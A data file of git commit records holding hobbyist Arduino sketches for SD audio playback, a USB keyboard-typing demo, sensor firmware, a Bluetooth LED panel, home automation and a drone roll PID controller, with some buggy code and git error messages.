\/\/ If your SD card CS-Pin is not at Pin 4, enable and adapt the following line:\n \/\/ SdPlay.setSDCSPin(10);\n \n if (!SdPlay.init(SSDA_MODE_FULLRATE | SSDA_MODE_MONO | SSDA_MODE_AUTOWORKER)) {\n Serial.println(F(\"initialization failed. Things to check:\"));\n Serial.println(F(\"* is a card is inserted?\"));\n Serial.println(F(\"* Is your wiring correct?\"));\n Serial.println(F(\"* maybe you need to change the chipSelect pin to match your shield or module?\"));\n Serial.print(F(\"Error code: \"));\n Serial.println(SdPlay.getLastError());\n while(1);\n } else {\n Serial.println(F(\"Wiring is correct and a card is present.\")); \n }\n \n Serial.print(F(\"Looking for on.wav... \"));\n if(!SdPlay.setFile(\"out.wav\")) {\n Serial.println(F(\" not found on card! Error code: \"));\n Serial.println(SdPlay.getLastError());\n while(1);\n } else {\n Serial.println(F(\"found.\")); \n } \n \n Serial.print(F(\"Playing... \")); \n SdPlay.play();\n while(!SdPlay.isStopped()) {\n ; \/\/ no worker needed anymore :-)\n }\n Serial.println(F(\"done.\"));\n SdPlay.deInit();\n }\n \n \n void loop(void) {\n \n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'microSD\/microSD-SimpleSD\/microSD-SimpleSD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e75a9b1c9b26e3a65aa629b010b66b39ee2c0bd6","subject":"RGB strip tuning sketch. Needs testing.","message":"RGB strip tuning sketch. Needs testing.\n","repos":"anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical","old_file":"arduino\/Test sketches\/RGBTuning\/RGBTuning.ino","new_file":"arduino\/Test sketches\/RGBTuning\/RGBTuning.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Test' did not match any file(s) known to git\nerror: pathspec 'sketches\/RGBTuning\/RGBTuning.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"769f0a086294c1ac78e13df8df27115ce02016ee","subject":"Added keyboard simulation sketch.","message":"Added keyboard simulation sketch.\n","repos":"futureshocked\/aabt,futureshocked\/aabt","old_file":"Zero_USB_host_keyboard\/Zero_USB_host_keyboard.ino","new_file":"Zero_USB_host_keyboard\/Zero_USB_host_keyboard.ino","new_contents":"\/*\n * Advanced Arduino Boards, a course by Peter Dalmaris.\n * \n * zero_usb_host_keyboard.ino\n * \n This sketch demonstrates the USB host port on the Arduino Zero.\n Connect a wire to pin 7, and leave it unconnected. Then, connect \n one USB cable to the programming port, and one to the native port.\n\n Upload the sketch to the Arduino Zero.\n\n When the upload finishes, open a text editor and click in the \n text editor window to ensure that it can receive text from the \n keyboard.\n\n Then, connect the wire from pin 7 to GND. The Zero will now start\n writting text to your text editor!\n\n Beware: if you click anywhere else, the text from the Arduino will\n start filling whatever window you clicked on, and the results\n could be dramatic!\n *\/\n\n#include \"Keyboard.h\"\n\nint button = 7; \/\/ Use a button connected to this pin\n \/\/ to stop and start typing.\n\nint counter = 0; \/\/ Use this counter to have something new \n \/\/ to type\n\nvoid setup() {\n \n pinMode(button , INPUT_PULLUP); \/\/ set pin to input and\n \/\/enable the pull up resistor\n\n \/\/ initialize control over the keyboard:\n Keyboard.begin();\n Keyboard.println(\"Hi, this is the Arduino typing!\");\n}\n\nvoid loop() {\n if (digitalRead(button)==LOW){\n Keyboard.print(\"Line \");\n Keyboard.println(counter++);\n Keyboard.println(\" \");\n delay(200);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Zero_USB_host_keyboard\/Zero_USB_host_keyboard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c579a0a2cdb2ee883059058b60ba363397818a8a","subject":"Create multiple.ino","message":"Create multiple.ino","repos":"sauloalspark\/multiple,sauloalspark\/multiple","old_file":"firmware\/examples\/multiple.ino","new_file":"firmware\/examples\/multiple.ino","new_contents":"\/\/#define USE_ADJDS311\n#define BLINK_LED\n#define USE_BMP085\n\/\/#define USE_TCS34725\n#define USE_TINKER\n\/\/#define USE_TMP006\n\n\n\n\n\/\/\n\/\/ GLOBAL VARIABLES\n\/\/\nunsigned long publishTTL = 21600;\n\n\n\n#ifdef USE_TINKER\n #include \"tinker.h\"\n#endif\n\n#ifdef USE_ADJDS311\n #include \"adjds311.h\"\n#endif\n\n#ifdef BLINK_LED\n #include \"blink_led.h\"\n#endif\n\n#ifdef USE_BMP085\n #include \"bmp085.h\" \n#endif\n\n#ifdef USE_TCS34725\n #include \"tcs34725.h\"\n#endif\n\n#ifdef USE_TMP006\n #include \"tmp006.h\"\n#endif\n\n\n\n\nvoid setup() {\n #ifdef USE_TINKER\n InitializeApplication_Tinker();\n #endif\n\n #ifdef USE_ADJDS311\n InitializeApplication_ADJDS311();\n #endif\n \n #ifdef BLINK_LED\n InitializeApplication_BLINK_LED();\n #endif\n\n #ifdef USE_BMP085\n InitializeApplication_BMP085();\n #endif\n \n #ifdef USE_TCS34725\n InitializeApplication_TCS34725();\n #endif\n\n #ifdef USE_TMP006\n InitializeApplication_TMP006();\n #endif\n}\n\nvoid loop() {\n #ifdef USE_ADJDS311\n runADJDS311();\n #endif\n\n #ifdef BLINK_LED\n runBLINK_LED();\n #endif\n\n #ifdef USE_BMP085\n runBMP085();\n #endif\n \n #ifdef USE_TCS34725\n runTCS34725();\n #endif\n \n #ifdef USE_TMP006\n runTMP006();\n #endif\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/multiple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0a81774dc3d3c164218ef343c926a1dd7c9b9e6c","subject":"Changed to allow String Input","message":"Changed to allow String Input","repos":"PanneauLED\/Teensy-Files","old_file":"Programme_pour_bluetooth_modified.ino","new_file":"Programme_pour_bluetooth_modified.ino","new_contents":"#include \"Arduino.h\"\n#include <FastLED.h>\n\/\/#include \"Panel.h\"\n\n#include \"LetterA.h\"\n\/\/ nb de ligne par groupe\n#define nbLine 4\n\/\/ nb de led par ligne\n#define nLEDs 64\n\n#define NUM_LEDS nbLine*nLEDs\n#define nbGroupe 6\n#define totLED NUM_LEDS*nbGroupe\n\n\/\/definition des pin correspondant aux rubans\n#define CLOCKPIN_0 11\n#define CLOCKPIN_1 9\n#define CLOCKPIN_2 7\n#define CLOCKPIN_3 17\n#define CLOCKPIN_4 15\n#define CLOCKPIN_5 13\n\n#define DATAPIN_0 12\n#define DATAPIN_1 10\n#define DATAPIN_2 8\n#define DATAPIN_3 18\n#define DATAPIN_4 16\n#define DATAPIN_5 14\n\n\/\/ Bluetooth Connection:\n#include <SoftwareSerial.h>\nSoftwareSerial BLUETOOTH(0, 1); \n\/\/ creates a \"virtual\" serial port\/UART\n\/\/ connect BT module TX to D0\n\/\/ connect BT module RX to D1\n\/\/ connect BT Vcc to 3.3V, GND to GND\n\n\/\/Sortie bluetooth Serial\n\/\/#define BLUETOOTH Serial1\n\/\/ tableau des couleurs des leds\nCRGB leds[nbGroupe][NUM_LEDS];\n\n\/\/ Instantiate panel\nPanel ledPanel;\n\n\/\/ num\u00e9ro de la Led \nuint16_t i=0;\n\/\/ num\u00e9ro du groupe courant\nint groupenum=0;\n\/\/temps du dernier pixel re\u00e7u\nunsigned long lastUpdateTime=millis();\nvoid reinitialiser(){\n \n if (millis()-lastUpdateTime>1000){\n groupenum=0;\n i=0;\n }\n \n}\n\n\n\nvoid loadImage(){\n \/* chaque groupe de trois octets repr\u00e9sente \n les couleurs d'un pixel dans l'ordre RGB.\n On charge le pixels dans le tableau \u00e0 son\n emplacement correspondant *\/\n if (BLUETOOTH.available()>2){\n lastUpdateTime=millis();\n \n leds[groupenum][i].red=BLUETOOTH.read();\n leds[groupenum][i].green=BLUETOOTH.read();\n leds[groupenum][i].blue=BLUETOOTH.read();\n i++;\n \/* On remet le num\u00e9ro de la led du compteur \n a z\u00e9ro quand on arrive au bout *\/\n if (i>NUM_LEDS-1){\n groupenum++;\n \/* si on a mis \u00e0 jour tout les pixels\n on affiche le r\u00e9sultat *\/\n if (groupenum==nbGroupe){\n groupenum=0;\n FastLED.show();\n } \n i=0;\n }\n }\n}\n\nuint16_t state = 0;\nbyte r,g ,b;\n\/**************************************************\n * Change la couleur des Led de mani\u00e8re continue *\n * Permet de tester si elle fonctionne toute *\n * *\n **************************************************\/\n void fading(){\n switch(state \/ 128)\n {\n case 0:\n r = 127 - state % 128; \/\/ red down\n g = state % 128; \/\/ green up\n b = 0; \/\/ blue off\n break;\n case 1:\n g = 127 - state % 128; \/\/ green down\n b = state % 128; \/\/ blue up\n r = 0; \/\/ red off\n break;\n case 2:\n b = 127 - state % 128; \/\/ blue down\n r = state % 128; \/\/ red up\n g = 0; \/\/ green off\n break;\n }\n\n for(byte k=0;k<nbGroupe;k++){\n for (int j=0; j<nbLine;j++){\n for (int i =0;i<nLEDs;i++){\n leds[k][j*nLEDs+i].red=r;\n leds[k][j*nLEDs+i].green=g;\n leds[k][j*nLEDs+i].blue=b;\n }\n \n } \n \n FastLED.show();\n } \n state++;\n if (state==384){state=0;}\n }\n \n \nvoid turnRED(){\n \n r = 10;\n b = 0;\n g = 0;\n \n for(byte k=0;k<nbGroupe;k++){\n for (int j=0; j<nbLine;j++){\n for (int i =0;i<nLEDs;i++){\n leds[k][j*nLEDs+i].red=r;\n leds[k][j*nLEDs+i].green=g;\n leds[k][j*nLEDs+i].blue=b;\n }\n } \n FastLED.show();\n } \n}\n\nvoid turnOFF(){\n \n r = 0;\n b = 0;\n g = 0;\n \n for(byte k=0;k<nbGroupe;k++){\n for (int j=0; j<nbLine;j++){\n for (int i =0;i<nLEDs;i++){\n leds[k][j*nLEDs+i].red=r;\n leds[k][j*nLEDs+i].green=g;\n leds[k][j*nLEDs+i].blue=b;\n }\n } \n FastLED.show();\n } \n}\n\n\nvoid setup(){\n \/\/ on initialise la connexion serial\n Serial.begin(9600);\n BLUETOOTH.begin(9600);\n delay(200);\n BLUETOOTH.println(\"Hello from Arduino\");\n \/\/ on ajoute tout les rubans de led un par un\n FastLED.addLeds<LPD8806, DATAPIN_0,CLOCKPIN_0>(leds[0], NUM_LEDS);\n FastLED.addLeds<LPD8806, DATAPIN_1,CLOCKPIN_1>(leds[1], NUM_LEDS); \n FastLED.addLeds<LPD8806, DATAPIN_2,CLOCKPIN_2>(leds[2], NUM_LEDS); \n FastLED.addLeds<LPD8806, DATAPIN_3,CLOCKPIN_3>(leds[3], NUM_LEDS); \n FastLED.addLeds<LPD8806, DATAPIN_4,CLOCKPIN_4>(leds[4], NUM_LEDS);\n FastLED.addLeds<LPD8806, DATAPIN_5,CLOCKPIN_5>(leds[5], NUM_LEDS);\n \/\/fading();\n ledPanel.allOff(leds);\n LetterA _a(leds, ledPanel);\n _a.place(leds, ledPanel);\n \n \n \n\/\/ leds[0][70].red=20;\n\/\/ leds[0][70].green=20;\n\/\/ leds[0][70].blue=20;\n\/\/ FastLED.show();\n \n}\n\nchar buffer; \/\/ stores incoming character from other device\nvoid loop(){\n \/\/loadImage();\n \/\/reinitialiser();\n \/\/ledPanel.ledOn(0, 0, leds);\n \n \/\/fading();\n \/\/turnRED();\n \/\/turnOFF();\n \/\/ if text arrived in from BT serial:\n if (BLUETOOTH.available()){\n \/\/ buffer=(BLUETOOTH.read());\n buffer = (BLUETOOTH.readString());\n letters = char[50];\n buffer.toCharArray(letters,50);\n for(int i = 0,i<=50,i++){\n if (letters[i]=='a'){\n fading();\n BLUETOOTH.println(\"fading\");\n }\n if (letters[i]=='b'){\n turnRED();\n BLUETOOTH.println(\"turned red\");\n }\n if (letters[i]=='c'){\n turnOFF();\n BLUETOOTH.println(\"turned off\");\n } \n }\n \/\/ you can add more \"if\" statements with other characters to add more commands\n }\n \n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programme_pour_bluetooth_modified.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3d04d56c16a0fc5ac47ef4eafb291f2ec265bffc","subject":"Added arduino src file","message":"Added arduino src file\n","repos":"tommelo\/fiap-iot","old_file":"arduino\/sketch_apr24a.ino","new_file":"arduino\/sketch_apr24a.ino","new_contents":"#include <Stepper.h>\n#include \"DHT.h\"\n\n\/\/lampada\n#define LED 13 \/\/ Pin 13 onde esta conectado o LED\nchar rxChar = 0; \/\/ RXcHAR holds the received command.\n\n\/\/temperatura\n#define DHTPIN A2 \/\/ temperatura\n#define DHTTYPE DHT11 \/\/ DHT 11\nDHT dht(DHTPIN, DHTTYPE);\nfloat temperatura;\n\n\/\/ar condicionado\nint ledInfoAR = 6; \/\/emissor infra vermelho\nint ventoinha = 7;\/\/ventoinha\nfloat armazenavalor = 0;\n\n\/\/alarme\nint pinBuzzer = 8; \/\/buzzer\nint pinSensorPIR = 11; \/\/sensor de presen\u00e7a\nint valorSensorPIR = 0; \/\/1 detecta algum movimento e 0 n\u00e3o detecta\nint SensorLigado = 0; \/\/0 sensor desligado e 1 sensor ligado\n\n\/\/portao\nconst int stepsPerRevolution = 500; \nStepper myStepper(stepsPerRevolution, 2,4,3,5); \/\/motor de passo\nint posicaoPortao = 0; \/\/0 fechado, 1 aberto\n\n\n\n\/\/Funcao com menu\nvoid printMenu() {\n Serial.println(\"--- Serial Monitor ---\");\n Serial.println(\"1 -> Ligar a luz\");\n Serial.println(\"2 -> Apagar a luz\");\n Serial.println(\"3 -> Verificar temperatura\");\n Serial.println(\"4 -> Ligar ar condicionado\");\n Serial.println(\"5 -> Desligar ar condicionado\");\n Serial.println(\"6 -> Ligar alarme\");\n Serial.println(\"7 -> Desligar alarme\");\n Serial.println(\"8 -> Abrir port\u00e3o\");\n Serial.println(\"9 -> Fechar port\u00e3o\");\n\n \/\/Serial.println(\"a -> Ligar o LED\");\n \/\/Serial.println(\"d -> Desligar o LED\");\n \/\/Serial.println(\"s -> Status do LED\");\n}\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(LED, OUTPUT);\n\n dht.begin();\n\n Serial.flush();\n printMenu();\n\n pinMode(ledInfoAR, OUTPUT);\n pinMode(ventoinha, OUTPUT);\n\n pinMode(pinBuzzer, OUTPUT);\n pinMode(pinSensorPIR, INPUT);\n\n myStepper.setSpeed(60);\n}\n\nvoid loop() {\n \/\/sensor de presen\u00e7a\n if (SensorLigado == 1) {\n valorSensorPIR = digitalRead(pinSensorPIR);\n if (valorSensorPIR == 1) {\n Serial.println(valorSensorPIR);\n tone(pinBuzzer, 1500);\n delay(4000);\n noTone(pinBuzzer);\n }\n }\n \n if (Serial.available() > 0) { \/\/ Verifica se recebeu alguma coisa no buffer\n rxChar = Serial.read(); \/\/ Salva o caracter lido\n Serial.flush(); \/\/ Limpa o buffer\n\n switch (rxChar) {\n\n case '1':\n if (digitalRead(LED) == LOW) {\n digitalWrite(LED, HIGH);\n Serial.println(\"Lampada Ligada\");\n } else\n Serial.println(\"A lampada ja esta ligada\");\n break;\n\n case '2':\n if (digitalRead(LED) == HIGH) {\n digitalWrite(LED, LOW);\n Serial.println(\"Lampada desligada\");\n } else Serial.println(\"A Lampada ja esta desligada\");\n break;\n\n case '3':\n temperatura = dht.readTemperature();\n if (isnan(temperatura)){\n Serial.println(\"Failed to read from DHT\");\n } \n else{\n Serial.println(temperatura);\n }\n break;\n\n case '4':\n if (armazenavalor == 0) {\n armazenavalor = 1;\n digitalWrite(ledInfoAR, HIGH);\n delay(200);\n digitalWrite(ledInfoAR, LOW);\n digitalWrite(ventoinha, HIGH);\n Serial.println(\"Ar Condicionado ligado\");\n } else Serial.println(\"O ar condicionado ja esta ligado\");\n break;\n\n case '5':\n if (armazenavalor == 1) {\n armazenavalor = 0;\n digitalWrite(ledInfoAR, HIGH);\n delay(200);\n digitalWrite(ledInfoAR, LOW);\n digitalWrite(ventoinha, LOW);\n Serial.println(\"Ar Condicionado desligado\");\n } else Serial.println(\"O ar condicionado ja esta desligado\");\n break;\n\n case '6':\n if (SensorLigado == 0) {\n SensorLigado = 1;\n Serial.println(\"Alarme de presen\u00e7a ligado\");\n } else Serial.println(\"O alarme de presen\u00e7a ja esta ligado\");\n break;\n\n case '7':\n if (SensorLigado == 1) {\n SensorLigado = 0;\n Serial.println(\"Alarme de presen\u00e7a desligado\");\n } else Serial.println(\"O alarme de presen\u00e7a ja esta desligado\");\n break;\n\n case '8':\n if (posicaoPortao == 0) {\n Serial.println(\"Abrindo o port\u00e3o\");\n posicaoPortao = 1;\n myStepper.step(-512);\/\/Gira o motor no sentido horario a 90 graus\n } else Serial.println(\"O port\u00e3o j\u00e1 est\u00e1 aberto\");\n break;\n\n case '9':\n if (posicaoPortao == 1) {\n Serial.println(\"Fechando o port\u00e3o\");\n posicaoPortao = 0;\n myStepper.step(512);\/\/Gira o motor no sentido ant-horario a 90 graus\n } else Serial.println(\"O port\u00e3o j\u00e1 est\u00e1 fechado\");\n break;\n\n default:\n Serial.print(\"'\");\n Serial.print((char) rxChar);\n Serial.println(\"' nao eh um comando valido!\");\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sketch_apr24a.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"40543e2457472b2aeee4db9cedbb9f96218248c4","subject":"Commit changes to prevent merge conflict","message":"Commit changes to prevent merge conflict\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dda28a8484b1d89f5ffb70324b03d85faa53e205","subject":"added roll_pid code","message":"added roll_pid code\n","repos":"robotworksinc\/Flyboard-1000,robotworksinc\/Flyboard-1000,robotworksinc\/Flyboard-1000","old_file":"arduino\/src\/T-80AFLAME\/roll_pid\/roll_pid.ino","new_file":"arduino\/src\/T-80AFLAME\/roll_pid\/roll_pid.ino","new_contents":"#include <PinChangeInt.h>\n#include <PID_v1.h>\n#include <Servo.h>\n\n\n\/\/ Define value of pi\n#define PI 3.141592653589793\n#define g 9.80665\n#define NITER 5\n\n\/\/ 20 ms wait for serial signal\n#define MAX_MILLIS_TO_WAIT 20\n\n\/\/ Define RC channels pin numbers\n#define RC_THROTTLE 2\n#define RC_ROLL 4\n#define RC_PITCH 7\n#define RC_YAW 8\n#define RC_IN_PIN_5 12\n#define RC_IN_PIN_6 13 \n\n\/\/ These bit flags are set in bUpdateFlagsShared to indicate which\n\/\/ channels have new signals\n#define THROTTLE_FLAG 1\n#define ROLL_FLAG 2\n#define PITCH_FLAG 4\n#define YAW_FLAG 8\n\n\/\/ Define drone motor pin numbers\n#define MOTOR_FL 11\n#define MOTOR_FR 6\n#define MOTOR_BL 10\n#define MOTOR_BR 9\n\n\/\/ RC Radio min\/max for each stick\n#define RC_MIN 1100\n#define RC_MID 1500\n#define RC_MAX 1900\n#define ESC_MIN 1450\n#define ESC_MAX 1830\n\n\/\/ Define ESC servo objects\nServo ESC1;\nServo ESC2;\nServo ESC3;\nServo ESC4;\n\n\/\/ Various global variables\nint channels[4];\nvolatile uint8_t bUpdateFlagsShared;\nlong rcthr, rcyaw, rcpit, rcroll, pwm1, pwm2, pwm3, pwm4;\nuint32_t ulThrottleStart, ulYawStart, ulPitchStart, ulRollStart;\nvolatile uint16_t unThrottleInShared, unYawInShared, unPitchInShared, unRollInShared;\n\nunsigned long starttime;\nfloat euler[] = {0.0, 0.0, 0.0};\nfloat gyro[] = {0.0, 0.0, 0.0};\nfloat accl[] = {0.0, 0.0, 0.0};\ndouble roll, pitch, yaw, x_gyro, y_gyro, z_gyro;\nfloat roll_val[NITER], pitch_val[NITER], yaw_val[NITER], x_gyro_val[NITER], y_gyro_val[NITER], z_gyro_val[NITER]; \n\n\/\/ PID variables and arrays\ndouble roll_out, pitch_out, yaw_out;\ndouble roll_stab_out, pitch_stab_out, yaw_stab_out;\n\ndouble roll_stab_param[] = {0.5, 0.0, 0.0};\n\ndouble roll_rate_param[] = {0.2, 0.0, 0.0};\n\nPID roll_stab_pid((double *)&rcroll, &roll_stab_out, &roll, roll_stab_param[0], roll_stab_param[1], roll_stab_param[2], DIRECT);\n\nPID roll_rate_pid((double *)&roll_stab_out, &roll_out, &x_gyro, roll_rate_param[0], roll_rate_param[1], roll_rate_param[2], DIRECT);\n\n\n\/\/ ================== IMU control code ==============================================\n\/\/ Determine mean value\nfloat mean(float* val) {\n float temp = 0.0;\n for(int i = 0; i < NITER; i++){\n temp += val[i];\n }\n return temp\/NITER;\n}\n\n\/\/ Function to convert angles in radians to degree\nfloat rad2deg(float angle) {\n return (180\/PI) * angle;\n}\n\n\/\/ Get Euler angles, gyro an accelerometer values from the IMU\nbyte readIMU(float* euler, float* gyro, float* accl) {\n byte cmd[] = {0x75,0x65,0x0C,0x0D,0x0D,0x01,0x00,0x03,0x0C,0x00,0x00,0x04,0x00,0x00,0x05,0x00,0x00,0x19,0xE5};\n byte reply[58];\n \n \/\/ Variables to receive euler angles, gyro and accelerometer values\n union {\n float val;\n unsigned char b[4]; \n } uav_value;\n \n \/\/ Send serial command\n Serial.write(cmd, sizeof(cmd));\n \n \/\/ Delay of 1 ms\n delay(1);\n \n starttime = millis();\n\n \/\/ Wait till all 58 bytes are recieved or 100 ms has gone bye\n while ((Serial.available() < 58) && ((millis() - starttime) < MAX_MILLIS_TO_WAIT)) {\n }\n\n \/\/ If less than 58 bytes are available on serial register, return \\x01 error\n \/\/ code else send \\x00 success code and populate euler angles \n if (Serial.available() < 58) {\n return byte(1);\n }\n else {\n for (int n = 0; n < 58; n++) {\n reply[n] = Serial.read();\n delay(1); \n }\n\n \/\/ Roll angle\n uav_value.b[0] = reply[19];\n uav_value.b[1] = reply[18];\n uav_value.b[2] = reply[17];\n uav_value.b[3] = reply[16];\n euler[0] = uav_value.val;\n \n \/\/ Pitch angle\n uav_value.b[0] = reply[23];\n uav_value.b[1] = reply[22];\n uav_value.b[2] = reply[21];\n uav_value.b[3] = reply[20];\n euler[1] = uav_value.val;\n \n \/\/ Yaw angle\n uav_value.b[0] = reply[27];\n uav_value.b[1] = reply[26];\n uav_value.b[2] = reply[25];\n uav_value.b[3] = reply[24];\n euler[2] = uav_value.val; \n\n \/\/ X Acceleration\n uav_value.b[0] = reply[33];\n uav_value.b[1] = reply[32];\n uav_value.b[2] = reply[31];\n uav_value.b[3] = reply[30];\n accl[0] = uav_value.val;\n \n \/\/ Y Acceleration\n uav_value.b[0] = reply[37];\n uav_value.b[1] = reply[36];\n uav_value.b[2] = reply[35];\n uav_value.b[3] = reply[34];\n accl[1] = uav_value.val;\n \n \/\/ Z Acceleration\n uav_value.b[0] = reply[41];\n uav_value.b[1] = reply[40];\n uav_value.b[2] = reply[39];\n uav_value.b[3] = reply[38];\n accl[2] = uav_value.val; \n \n \/\/ X gyro\n uav_value.b[0] = reply[47];\n uav_value.b[1] = reply[46];\n uav_value.b[2] = reply[45];\n uav_value.b[3] = reply[44];\n gyro[0] = uav_value.val;\n \n \/\/ Y gyro\n uav_value.b[0] = reply[51];\n uav_value.b[1] = reply[50];\n uav_value.b[2] = reply[49];\n uav_value.b[3] = reply[48];\n gyro[1] = uav_value.val;\n \n \/\/ Z gyro\n uav_value.b[0] = reply[55];\n uav_value.b[1] = reply[54];\n uav_value.b[2] = reply[53];\n uav_value.b[3] = reply[52];\n gyro[2] = uav_value.val; \n \n return reply[7];\n }\n}\n\n\n\/\/ =================== RC\/MOTOR control code ===========================================\n\/\/ simple interrupt service routine\nvoid calcThrottle()\n{\n if(digitalRead(RC_THROTTLE) == HIGH)\n {\n ulThrottleStart = micros();\n }\n else\n {\n unThrottleInShared = (uint16_t)(micros() - ulThrottleStart);\n bUpdateFlagsShared |= THROTTLE_FLAG;\n }\n}\n\n\nvoid calcYaw()\n{\n if(digitalRead(RC_YAW) == HIGH)\n {\n ulYawStart = micros();\n }\n else\n {\n unYawInShared = (uint16_t)(micros() - ulYawStart);\n bUpdateFlagsShared |= YAW_FLAG;\n }\n}\n\nvoid calcPitch()\n{\n if(digitalRead(RC_PITCH) == HIGH)\n {\n ulPitchStart = micros();\n }\n else\n {\n unPitchInShared = (uint16_t)(micros() - ulPitchStart);\n bUpdateFlagsShared |= PITCH_FLAG;\n }\n}\n\n\nvoid calcRoll()\n{\n if(digitalRead(RC_ROLL) == HIGH)\n {\n ulRollStart = micros();\n }\n else\n {\n unRollInShared = (uint16_t)(micros() - ulRollStart);\n bUpdateFlagsShared |= ROLL_FLAG;\n }\n}\n\n\nvoid readRC(int channels[]) {\n \/\/ local copy of channel inputs\n static uint16_t unThrottleIn, unYawIn, unPitchIn, unRollIn;\n \n \/\/ local copy of update flags\n static uint8_t bUpdateFlags;\n\n \/\/ check shared update flags to see if any channels have a new signal\n if(bUpdateFlagsShared)\n {\n noInterrupts(); \/\/ turn interrupts off quickly while we take local copies of the shared variables\n\n \/\/ take a local copy of which channels were updated in case we need to use this in the rest of loop\n bUpdateFlags = bUpdateFlagsShared;\n \n if(bUpdateFlags & THROTTLE_FLAG)\n {\n unThrottleIn = unThrottleInShared;\n }\n \n if(bUpdateFlags & ROLL_FLAG)\n {\n unRollIn = unRollInShared;\n }\n\n if(bUpdateFlags & PITCH_FLAG)\n {\n unPitchIn = unPitchInShared;\n }\n \n if(bUpdateFlags & YAW_FLAG)\n {\n unYawIn = unYawInShared;\n }\n \n bUpdateFlagsShared = 0;\n \n interrupts(); \n }\n \n if(bUpdateFlags & THROTTLE_FLAG)\n {\n channels[0] = unThrottleIn;\n }\n\n if(bUpdateFlags & ROLL_FLAG)\n {\n channels[1] = unRollIn;\n }\n\n if(bUpdateFlags & PITCH_FLAG)\n {\n channels[2] = unPitchIn;\n\n } \n\n if(bUpdateFlags & YAW_FLAG)\n {\n channels[3] = unYawIn;\n } \n\n bUpdateFlags = 0;\n}\n\n\nvoid setup()\n{\n \/\/ Start serial communication channel\n Serial.begin(115200);\n\n \/\/ Attach interrupts to RC arduino pins\n PCintPort::attachInterrupt(RC_THROTTLE,calcThrottle,CHANGE);\n PCintPort::attachInterrupt(RC_ROLL,calcRoll,CHANGE);\n PCintPort::attachInterrupt(RC_PITCH,calcPitch,CHANGE);\n PCintPort::attachInterrupt(RC_YAW,calcYaw,CHANGE);\n\n \/\/ Attach ESC's to arduino pins\n ESC1.attach(MOTOR_FL);\n ESC2.attach(MOTOR_FR);\n ESC3.attach(MOTOR_BL);\n ESC4.attach(MOTOR_BR);\n\n \/\/ Set RC channel value to \"rest\"\n channels[0] = RC_MIN;\n channels[1] = RC_MID;\n channels[2] = RC_MID; \n channels[3] = RC_MID;\n\n \/\/ Read \"rest\" euler, gyro and accl values\n if (readIMU(euler, gyro, accl) == '\\x00') {\n roll = rad2deg(euler[0]);\n pitch = rad2deg(euler[1]);\n yaw = rad2deg(euler[2]);\n x_gyro = rad2deg(gyro[0]);\n y_gyro = rad2deg(gyro[1]);\n z_gyro = rad2deg(gyro[2]);\n }\n else {\n roll = 0.0;\n pitch = 0.0;\n yaw = 0.0;\n x_gyro = 0.0;\n y_gyro = 0.0;\n z_gyro = 0.0;\n } \n\n \/\/ Set PID mode\n roll_stab_pid.SetMode(AUTOMATIC);\n roll_rate_pid.SetMode(AUTOMATIC);\n \n \/\/ Delay of 10 ms\n delay(10);\n}\n\nvoid loop()\n{\n \/\/ Read IMU 10-15 times and average the Euler angle and rotational speed values\n for (int i = 0; i < NITER; i++){\n if (readIMU(euler, gyro, accl) == '\\x00'){\n roll_val[i] = rad2deg(euler[0]);\n pitch_val[i] = rad2deg(euler[1]);\n yaw_val[i] = rad2deg(euler[2]);\n x_gyro_val[i] = rad2deg(gyro[0]);\n y_gyro_val[i] = rad2deg(gyro[1]);\n z_gyro_val[i] = rad2deg(gyro[2]);\n }\n }\n\n \/\/ Mean value of Euler angles and rotational speed\n roll = mean(roll_val);\n\n \/\/ Display IMU values\n Serial.println(roll);\n \n \/\/ Read RC channel values\n readRC(channels);\n\n if (channels[1] == 0 & channels[2] == 0 & channels[3] == 0) {\n channels[0] = RC_MIN;\n channels[1] = RC_MID;\n channels[2] = RC_MID; \n channels[3] = RC_MID;\n }\n\n \/\/ Apart from throttle, map roll, pitch and yaw to angles in degrees\n rcthr = channels[0];\n rcroll = map(channels[1], RC_MIN, RC_MAX, -15, 15);\n rcpit = map(channels[2], RC_MIN, RC_MAX, -15, 15);\n rcyaw = map(channels[3], RC_MIN, RC_MAX, -150, 150);\n \n Serial.println(\"RC constrained values:\");\n Serial.println(rcroll);\n\n \/\/ Stablization PID\n roll_stab_pid.Compute();\n \/\/pitch_stab_pid.Compute();\n \/\/yaw_stab_pid.Compute();\n\n Serial.println(\"Stab PID output\");\n Serial.println(roll_stab_out);\n\n roll_stab_out = constrain(roll_stab_out, -100, 100);\n \n \/\/ Rate PID\n roll_rate_pid.Compute();\n\n Serial.println(\"Rate PID output\");\n Serial.println(roll_out);\n \n roll_out = constrain(roll_out, -150, 150);\n\n pwm1 = constrain(rcthr - rcroll - rcpit - rcyaw, RC_MIN, RC_MAX);\n pwm2 = constrain(rcthr + rcroll - rcpit + rcyaw, RC_MIN, RC_MAX);\n pwm3 = constrain(rcthr - rcroll + rcpit + rcyaw, RC_MIN, RC_MAX);\n pwm4 = constrain(rcthr + rcroll + rcpit - rcyaw, RC_MIN, RC_MAX);\n\n \/\/pwm1 